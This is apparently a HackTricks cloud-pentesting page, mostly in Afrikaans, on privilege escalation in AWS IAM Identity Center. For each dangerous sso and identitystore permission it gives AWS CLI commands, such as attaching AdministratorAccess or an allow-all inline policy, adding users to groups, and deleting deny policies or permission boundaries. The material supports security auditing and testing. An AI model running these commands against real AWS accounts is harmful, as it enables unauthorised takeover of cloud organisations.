# AWS - SSO & identitystore Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AWS Identity Center / AWS SSO

Vir meer inligting oor AWS Identity Center / AWS SSO, sien:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

> [!WARNING]
> Let daarop dat by **standaard**, slegs **gebruikers** met permissies **from** die **Management Account** toegang sal hê en die **IAM Identity Center** kan **control**.\
> Gebruikers van ander rekeninge kan dit slegs toelaat as die rekening 'n **Delegated Adminstrator.** is.\
> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)

### ~~Herstel Wagwoord~~

'n Maklike manier om voorregte in sulke gevalle te eskaleer sou wees om 'n toestemming te hê wat toelaat om gebruikers se wagwoorde te herstel. Ongelukkig is dit slegs moontlik om 'n e-pos na die gebruiker te stuur om sy wagwoord te herstel, so jy sal toegang tot die gebruiker se e-pos nodig hê.

### `identitystore:CreateGroupMembership`

Met hierdie toestemming is dit moontlik om 'n gebruiker in 'n groep te plaas sodat hy alle toestemmings wat die groep het, erf.
```bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
```
### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`

'n aanvaller met hierdie toestemming kan ekstra toestemmings aan 'n Permission Set verleen wat aan 'n user toegeken is wat onder sy beheer is.
```bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`

'n aanvaller met hierdie toestemming kan ekstra regte aan 'n Permission Set toeken wat aan 'n gebruiker onder sy beheer gegee is
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`

'n Aanvaller met hierdie toestemming kan ekstra toestemmings aan 'n Permission Set verleen wat aan 'n gebruiker onder sy beheer toegeken is.

> [!WARNING]
> Om hierdie toestemmings in hierdie geval te misbruik, moet jy die **naam van 'n customer managed policy wat in ALL die accounts is wat geraak gaan word** ken.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:CreateAccountAssignment`

'n aanvaller met hierdie toestemming kan 'n Permission Set aan 'n gebruiker onder sy beheer vir 'n account toewys.
```bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
```
### `sso:GetRoleCredentials`

Gee die STS korttermyn credentials vir 'n gegewe role name wat aan die user toegewys is.
```
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
```
Jy het egter 'n access token nodig wat ek nie seker is hoe om te kry nie (TODO).

### `sso:DetachManagedPolicyFromPermissionSet`

'n aanvaller met hierdie toestemming kan die assosiasie tussen 'n AWS managed policy en die gespesifiseerde permission set verwyder. Dit is moontlik om meer voorregte toe te ken deur **detaching a managed policy (deny policy)**.
```bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
```
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`

’n aanvaller met hierdie toestemming kan die assosiasie tussen ’n Customer managed policy en die gespesifiseerde permission set verwyder. Dit is moontlik om meer voorregte toe te ken deur **detaching a managed policy (deny policy)**.
```bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
```
### `sso:DeleteInlinePolicyFromPermissionSet`

An attacker met hierdie toestemming kan die toestemmings van 'n inline policy in die permission set verwyder. Dit is moontlik om **meer voorregte te verleen deur 'n inline policy (deny policy) los te koppel**.
```bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
```
### `sso:DeletePermissionBoundaryFromPermissionSet`

'n aanvaller met hierdie toestemming kan die Permission Boundary van die Permission Set verwyder. Dit is moontlik om **meer voorregte te verleen deur die beperkings op die Permission Set wat deur die Permission Boundary opgelê is te verwyder**.
```bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
```
{{#include ../../../../banners/hacktricks-training.md}}
